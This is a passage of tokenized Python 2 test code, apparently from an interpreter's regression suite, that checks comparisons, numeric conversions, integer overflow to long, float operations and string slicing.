"\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "1", " ", "and", " ", "1", " ", "is", " ", "fal", "se", " ", "inst", "ead", " ", "of", " ", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "1_", ":_", "raise_", "Test", "Failed_", ",_", "'", "not", " ", "1", " ", "is", " ", "true", " ", "inst", "ead", " ", "of", " ", "fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.3", " ", "Compari", "sons", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", "<_", "1_", "<=_", "1_", "==_", "1_", ">=_", "1_", ">_", "0_", "!=_", "1_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "comparisons", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", "L_", "<_", "1_", "L_", "<=_", "1_", "L_", "==_", "1_", "L_", ">=_", "1_", "L_", ">_", "0_", "L_", "!=_", "1_", "L_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "int", " ", "comparisons", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0.0_", "<_", "1.0_", "<=_", "1.0_", "==_", "1.0_", ">=_", "1.0_", ">_", "0.0_", "!=_", "1.0_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "comparisons", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "''_", "<_", "'", "a", "'_", "<=_", "'", "a", "'_", "==_", "'", "a", "'_", "<_", "'", "abc", "'_", "<_", "'", "abd", "'_", "<_", "'", "b", "'_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "string", " ", "comparisons", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "None_", "is_", "None_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "identi", "ty", " ", "test", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "float_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "float", "(''", ")", " ", "did", "n", "'", "t", " ", "raise", " ", "Value", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "float_", "(_", "'", "5", "\\\\", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "float", "('", "5", "\\\\", "0", "')", " ", "did", "n", "'", "t", " ", "raise", " ", "Value", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5.0_", "/_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "5.0", " ", "/", " ", "0.", "0", " ", "did", "n", "'", "t", " ", "raise", " ", "Zero", "Divis", "ion", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5.0_", "//_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "5.0", " ", "//", " ", "0.", "0", " ", "did", "n", "'", "t", " ", "raise", " ", "Zero", "Divis", "ion", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5.0_", "%_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "5.0", " ", "%", " ", "0.", "0", " ", "did", "n", "'", "t", " ", "raise", " ", "Zero", "Divis", "ion", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", "/_", "0_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "5", " ", "/", " ", "0", "L", " ", "did", "n", "'", "t", " ", "raise", " ", "Zero", "Divis", "ion", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", "//_", "0_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "5", " ", "//", " ", "0", "L", " ", "did", "n", "'", "t", " ", "raise", " ", "Zero", "Divis", "ion", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", "%_", "0_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "5", " ", "%", " ", "0", "L", " ", "did", "n", "'", "t", " ", "raise", " ", "Zero", "Divis", "ion", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.4", " ", "Numer", "ic", " ", "types", " ", "(", "most", "ly", " ", "conversions", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", "!=_", "0_", "L_", "or_", "0_", "!=_", "0.0_", "or_", "0_", "L_", "!=_", "0.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "mixed", " ", "comparisons", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "1_", "!=_", "1_", "L_", "or_", "1_", "!=_", "1.0_", "or_", "1_", "L_", "!=_", "1.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "mixed", " ", "comparisons", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "-_", "1_", "!=_", "-_", "1_", "L_", "or_", "-_", "1_", "!=_", "-_", "1.0_", "or_", "-_", "1_", "L_", "!=_", "-_", "1.0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "int", "/", "long", "/", "float", " ", "value", " ", "not", " ", "equal", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "calling", " ", "bui", "lt", "-", "in", " ", "types", " ", "with", "out", " ", "argu", "ment", " ", "must", " ", "return", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "int_", "(_", ")_", "!=_", "0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", "()", " ", "doe", "s", " ", "not", " ", "return", " ", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "long_", "(_", ")_", "!=_", "0_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", "()", " ", "doe", "s", " ", "not", " ", "return", " ", "0", "L", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "float_", "(_", ")_", "!=_", "0.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", "()", " ", "doe", "s", " ", "not", " ", "return", " ", "0.", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "int_", "(_", "1.9", "_", ")_", "==_", "1_", "==_", "int_", "(_", "1.1_", ")_", "and_", "int_", "(_", "-_", "1.1_", ")_", "==_", "-_", "1_", "==_", "int_", "(_", "-_", "1.9", "_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", "()", " ", "doe", "s", " ", "not", " ", "round", " ", "proper", "ly", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "long_", "(_", "1.9", "_", ")_", "==_", "1_", "L_", "==_", "long_", "(_", "1.1_", ")_", "and_", "long_", "(_", "-_", "1.1_", ")_", "==_", "-_", "1_", "L_", "==_", "long_", "(_", "-_", "1.9", "_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", "()", " ", "doe", "s", " ", "not", " ", "round", " ", "proper", "ly", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "float_", "(_", "1_", ")_", "==_", "1.0_", "and_", "float_", "(_", "-_", "1_", ")_", "==_", "-_", "1.0_", "and_", "float_", "(_", "0_", ")_", "==_", "0.0_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", "()", " ", "doe", "s", " ", "not", " ", "work", " ", "proper", "ly", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "6.4", ".1", " ", "32", "-", "bit", " ", "integ", "ers", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ensur", "e", " ", "the", " ", "first", " ", "256", " ", "integ", "ers", " ", "are", " ", "shared_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "256_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "128_", "*_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "is_", "not_", "b_", ":_", "raise_", "Test", "Failed_", ",_", "'", "256", " ", "is", " ", "not", " ", "shared", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "12_", "+_", "24_", "!=_", "36_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "12_", "+_", "(_", "-_", "24_", ")_", "!=_", "-_", "12_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "-_", "12_", ")_", "+_", "24_", "!=_", "12_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "-_", "12_", ")_", "+_", "(_", "-_", "24_", ")_", "!=_", "-_", "36_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "12_", "<_", "24_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "-_", "24_", "<_", "-_", "12_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "for", " ", "a", " ", "partic", "ular", " ", "bug", " ", "in", " ", "integ", "er", " ", "multiply_", "\\u\\u\\uNL\\u\\u\\u_", "xsize_", ",_", "ysize", "_", ",_", "zs", "ize_", "=_", "238_", ",_", "356", "_", ",_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "(_", "xsize_", "*_", "ysize", "_", "*_", "zs", "ize_", "==_", "zs", "ize_", "*_", "xsize_", "*_", "ysize", "_", "==_", "338", "912", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "mul", " ", "commu", "tati", "vity", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "And", " ", "anot", "her", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", "=_", "-_", "sys_", "._", "maxint_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "divisor_", "in_", "1_", ",_", "2_", ",_", "4_", ",_", "8_", ",_", "16_", ",_", "32_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "j_", "=_", "m_", "//_", "divisor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prod_", "=_", "divisor_", "*_", "j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prod_", "!=_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "\"%", "r", " ", "*", " ", "%", "r", " ", "==", " ", "%", "r", " ", "!=", " ", "%", "r", "\"_", "%_", "(_", "divisor_", ",_", "j_", ",_", "prod_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "prod_", ")_", "is_", "not_", "int_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "(_", "\"", "expected", " ", "type", "(", "prod", ")", " ", "to", " ", "be", " ", "int", ",", " ", "not", " ", "%", "r", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "(_", "prod_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "for", " ", "expected", " ", "*", " ", "overflow", " ", "to", " ", "long", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "divisor_", "in_", "1_", ",_", "2_", ",_", "4_", ",_", "8_", ",_", "16_", ",_", "32_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "j_", "=_", "m_", "//_", "divisor_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prod_", "=_", "divisor_", "*_", "j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "prod_", ")_", "is_", "not_", "long_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "(_", "\"", "expected", " ", "type", "(%", "r", ")", " ", "to", " ", "be", " ", "long", ",", " ", "not", " ", "%", "r", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "prod_", ",_", "type_", "(_", "prod_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "for", " ", "expected", " ", "*", " ", "overflow", " ", "to", " ", "long", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", "=_", "sys_", "._", "maxint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "divisor_", "in_", "1_", ",_", "2_", ",_", "4_", ",_", "8_", ",_", "16_", ",_", "32_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "j_", "=_", "m_", "//_", "divisor_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prod_", "=_", "divisor_", "*_", "j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "prod_", ")_", "is_", "not_", "long_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "(_", "\"", "expected", " ", "type", "(%", "r", ")", " ", "to", " ", "be", " ", "long", ",", " ", "not", " ", "%", "r", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "prod_", ",_", "type_", "(_", "prod_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "6.4", ".2", " ", "Long", " ", "integ", "ers", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "12_", "L_", "+_", "24_", "L_", "!=_", "36_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "12_", "L_", "+_", "(_", "-_", "24_", "L_", ")_", "!=_", "-_", "12_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "-_", "12_", "L_", ")_", "+_", "24_", "L_", "!=_", "12_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "-_", "12_", "L_", ")_", "+_", "(_", "-_", "24_", "L_", ")_", "!=_", "-_", "36_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "12_", "L_", "<_", "24_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "-_", "24_", "L_", "<_", "-_", "12_", "L_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "sys_", "._", "maxint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "int_", "(_", "long_", "(_", "x_", ")_", ")_", "!=_", "x_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "y_", "=_", "int_", "(_", "long_", "(_", "x_", ")_", "+_", "1_", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Over", "flow", "Error_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "y_", ",_", "long_", ")_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "-_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "int_", "(_", "long_", "(_", "x_", ")_", ")_", "!=_", "x_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "x_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "int_", "(_", "long_", "(_", "x_", ")_", ")_", "!=_", "x_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "y_", "=_", "int_", "(_", "long_", "(_", "x_", ")_", "-_", "1_", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Over", "flow", "Error_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "y_", ",_", "long_", ")_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", "<<_", "-_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "negati", "ve", " ", "shift", " ", "<<", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", "L_", "<<_", "-_", "5_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "negati", "ve", " ", "shift", " ", "<<", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", ">>_", "-_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "int", " ", "negati", "ve", " ", "shift", " ", ">>'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "5_", "L_", ">>_", "-_", "5_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "long", " ", "negati", "ve", " ", "shift", " ", ">>'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.4", ".3", " ", "Float", "ing", " ", "point", " ", "numbers", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "12.0_", "+_", "24.0", "_", "!=_", "36.", "0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "12.0_", "+_", "(_", "-_", "24.0", "_", ")_", "!=_", "-_", "12.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "-_", "12.0_", ")_", "+_", "24.0", "_", "!=_", "12.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "-_", "12.0_", ")_", "+_", "(_", "-_", "24.0", "_", ")_", "!=_", "-_", "36.", "0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "12.0_", "<_", "24.0", "_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "-_", "24.0", "_", "<_", "-_", "12.0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "float", " ", "op", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.5", " ", "Sequ", "ence", " ", "types", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.5", ".1", " ", "String", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "''_", ")_", "!=_", "0_", ":_", "raise_", "Test", "Failed_", ",_", "'", "len", "(\\\\'", "\\\\')", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "'", "a", "'_", ")_", "!=_", "1_", ":_", "raise_", "Test", "Failed_", ",_", "'", "len", "(\\\\'", "a", "\\\\')", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "'", "abcde", "f", "'_", ")_", "!=_", "6_", ":_", "raise_", "Test", "Failed_", ",_", "'", "len", "(\\\\'", "abcde", "f", "\\\\')", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "xyz", "'_", "+_", "'", "abcde", "'_", "!=_", "'", "xyz", "abcde", "'_", ":_", "raise_", "Test", "Failed_", ",_", "'", "string", " ", "concate", "nati", "on", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "xyz", "'_", "*_", "3_", "!=_", "'", "xyz", "xyz", "xyz", "'_", ":_", "raise_", "Test", "Failed_", ",_", "'", "string", " ", "repetition", " ", "*", "3", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "0_", "*_", "'", "abcde", "'_", "!=_", "''_", ":_", "raise_", "Test", "Failed_", ",_", "'", "string", " ", "repetition", " ", "0", "*'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "min_", "(_", "'", "abc", "'_", ")_", "!=_", "'", "a", "'_", "or_", "max_", "(_", "'", "abc", "'_", ")_", "!=_", "'", "c", "'_", ":_", "raise_", "Test", "Failed_", ",_", "'", "min", "/", "max", " ", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "a", "'_", "in_", "'", "abc", "'_", "and_", "'", "b", "'_", "in_", "'", "abc", "'_", "and_", "'", "c", "'_", "in_", "'", "abc", "'_", "and_", "'", "d", "'_", "not_", "in_", "'", "abc", "'_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "in", "/", "not", " ", "in", " ", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "'", "x", "'_", "*_", "103_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'%", "s", "!'_", "%_", "x_", "!=_", "x_", "+_", "'!'_", ":_", "raise_", "Test", "Failed_", ",_", "'", "nas", "ty", " ", "string", " ", "format", "ting", " ", "bug", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "extend", "ed", " ", "slice", "s", " ", "for", " ", "strings_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "'", "0123456", "789", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "]_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "2_", "]_", ",_", "'", "024", "6", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "1_", ":_", ":_", "2_", "]_", ",_", "'", "135", "7", "9", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "-_", "1_", "]_", ",_", "'", "9876", "5432", "10", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "-_", "2_", "]_", ",_", "'", "975", "3", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "3_", ":_", ":_", "-_", "2_", "]_", ",_", "'", "3", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "-_", "100_", ":_", "100_", ":_", "]_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "100_", ":_", "-_", "100_", ":_", "-_", "1_", "]_", ",_", "a_", "[_", ":_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "-_", "100_", "L_", ":_", "100_", "L_", ":_", "2_", "L_", "]_", ",_", "'", "024", "6", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "have", "\\u", "unicode_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "unicode_", "(_", "'", "0123456", "789", "'_", ",_", "'", "ascii", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "]_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "2_", "]_", ",_", "unicode_", "(_", "'", "024", "6", "8", "'_", ",_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "1_", ":_", ":_", "2_", "]_", ",_", "unicode_", "(_", "'", "135", "7", "9", "'_", ",_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "-_", "1_", "]_", ",_", "unicode_", 